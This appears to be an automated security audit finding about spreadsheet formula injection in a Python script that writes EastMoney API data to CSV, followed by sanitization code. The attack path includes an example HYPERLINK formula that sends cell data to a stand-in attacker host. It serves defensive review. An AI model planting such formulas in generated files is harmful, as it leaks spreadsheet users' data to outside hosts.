T09 · Insecure Skill Coding Practices
Warning
- Location
- scripts/get_data.py:314
- Finding
- Spreadsheet Formula Injection in Generated CSV Files## Vulnerability Details **File Location**: `scripts/get_data.py`, lines 314-318 **Vulnerability Type**: CSV/spreadsheet formula injection **Risk Level**: Medium ### Vulnerable Code ```python with open(csv_path, "w", newline="", encoding="utf-8") as f: writer = csv.DictWriter(f, fieldnames=fieldnames, extrasaction="ignore") writer.writeheader() for row in rows: writer.writerow(row) ``` ### Technical Analysis Values returned by the remote EastMoney API are written directly into a CSV file without neutralizing spreadsheet formula prefixes. Python's `csv.DictWriter` correctly escapes CSV delimiters and quotation marks, but it does not protect against spreadsheet formulas. If a cell begins with `=`, `+`, `-`, or `@`, spreadsheet applications such as Microsoft Excel or LibreOffice Calc may interpret it as a formula rather than plain text. Because the API controls column names and row values, a compromised or malicious upstream response could introduce a formula-bearing value into the generated file. Depending on the spreadsheet application and its security configuration, a malicious formula may trigger external network requests, disclose data from other cells, create misleading hyperlinks, or invoke dangerous legacy functionality. Modern spreadsheet protections can reduce the impact, but they do not remove the underlying unsafe data-generation behavior. ### Attack Path 1. An attacker gains influence over data returned by the configured EastMoney API, such as through compromised upstream data, malicious content incorporated into a result, or compromise of the service. 2. The attacker causes a returned column name or cell value to start with a spreadsheet formula marker, for example: ```text =HYPERLINK("https://attacker.example/collect?data="&A1,"Open") ``` 3. `_datalist_to_rows` converts the value to a string without formula neutralization. 4. `writer.writerow(row)` writes the attac ...[truncated 1093 chars]
- Remediation
- ## Remediation Suggestions Sanitize all remotely supplied column names and cell values before writing them to CSV. Prefix dangerous values with a single quote or another application-appropriate neutralization character. ```python FORMULA_PREFIXES = ("=", "+", "-", "@") def sanitize_csv_cell(value): text = "" if value is None else str(value) if text.startswith(FORMULA_PREFIXES): return "'" + text return text safe_fieldnames = [sanitize_csv_cell(name) for name in fieldnames] with open(csv_path, "w", newline="", encoding="utf-8") as f: writer = csv.DictWriter( f, fieldnames=safe_fieldnames, extrasaction="ignore", ) writer.writeheader() for row in rows: safe_row = { sanitize_csv_cell(key): sanitize_csv_cell(value) for key, value in row.items() } writer.writerow(safe_row) ``` Additional hardening measures: - Apply sanitization after trimming or accounting for leading whitespace, tabs, carriage returns, and other characters that spreadsheet applications may ignore before formula detection. - Treat all remote API output as untrusted, including headers, labels, nested JSON strings, and partial-results table content. - Document that output files contain untrusted market data and should be imported with formula evaluation disabled. - Add tests covering values beginning with `=`, `+`, `-`, `@`, tabs, carriage returns, and leading whitespace. - Consider producing a non-executable format such as JSON in addition to CSV.
